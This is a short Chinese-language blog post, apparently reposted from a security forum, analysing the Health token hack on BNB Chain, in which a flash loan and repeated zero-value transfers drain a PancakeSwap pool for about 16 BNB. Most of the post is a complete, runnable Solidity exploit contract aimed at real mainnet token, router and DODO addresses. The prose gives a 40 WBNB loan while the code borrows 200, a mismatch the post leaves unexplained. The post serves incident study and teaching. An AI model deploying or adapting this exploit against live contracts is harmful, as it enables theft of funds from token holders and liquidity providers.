区块链安全学习 - Health Token被黑分析
2022-11-26 16:7:36 Author: bbs.pediy.com(查看原文) 阅读量:22 收藏

攻击者通过dodo闪电贷获取了40个WBNB,通过pancakeSwap的Router兑换了30565652268756555675523626个
图片描述
相同数目的Health token应该只能swap出个40000000000000000000
图片描述
但是却兑换出了56641927146106351887,归还闪电贷后,至此黑客获利16641927146106351887。也就是16BNB

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

pragma solidity ^0.8.0;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(

        address from,

        address to,

        uint256 amount

    ) external returns (bool);

}

interface Uni_Router_V2 {

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(

        uint256 amountIn,

        uint256 amountOutMin,

        address[] memory path,

        address to,

        uint256 deadline

  ) external;

}

interface IDPPAdvanced {

    function flashLoan(

        uint256 baseAmount,

        uint256 quoteAmount,

        address assetTo,

        bytes calldata data

    ) external;

}

interface IWBNB {

    function balanceOf(address account) external view  returns (uint256);

    function withdraw(uint wad) external;

    function deposit() external payable;

    function approve(address guy, uint wad) external returns (bool);

}

interface IPancakeRouter {

    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);

    function swapExactTokensForTokens(

        uint amountIn,

        uint amountOutMin,

        address[] calldata path,

        address to,

        uint deadline

    ) external returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(

        uint amountIn,

        uint amountOutMin,

        address[] calldata path,

        address to,

        uint deadline

    ) external;

}

interface IHealth {

    function balanceOf(address account) external view  returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

}

interface IPancakePair {

    function skim(address to) external;

    function sync() external;

}

struct DPPAdvancedCallBackData {

    uint256 baseAmount;

    uint256 quoteAmount;

}

contract ContractTest{

    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);

    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    Uni_Router_V2 uni_pair = Uni_Router_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);

    Uni_Router_V2 uni_router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    function testExp() external{

        WBNB.approve(address(uni_router), type(uint).max);

        HEALTH.approve(address(uni_router),type(uint).max);

        uint256 borrown_wbnb_amt = 200 * 1e18;

        DPPAdvancedCallBackData memory callbackData;

        callbackData.baseAmount = borrown_wbnb_amt;

        callbackData.quoteAmount = 0;

        bytes memory data = abi.encode(callbackData);

        IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,0,address(this),data);

    }

    fallback() external payable {

    }

    function DPPFlashLoanCall(

        address sender,

        uint256 baseAmount,

        uint256 quoteAmount,

        bytes calldata data

    ) external {

        WBNBToHEALTH();

        for(uint i = 0; i < 600; i++){

            HEALTH.transfer(address(this), 0);

        }

        HEALTHToWBNB();

        WBNB.transfer(dodo, 200 * 1e18);

    }

    function WBNBToHEALTH() internal{

        address[] memory path = new address[](2);

        path[0] = address(WBNB);

        path[1] = address(HEALTH);

        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(

            WBNB.balanceOf(address(this)),

            0,

            path,

            address(this),

            block.timestamp

        );

    }

    function HEALTHToWBNB() internal{

        address[] memory path = new address[](2);

        path[0] = address(HEALTH);

        path[1] = address(WBNB);

        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(

            HEALTH.balanceOf(address(this)),

            0,

            path,

            address(this),

            block.timestamp

        );

    }

}


文章来源: https://bbs.pediy.com/thread-275298.htm
如有侵权请联系:admin#unsafe.sh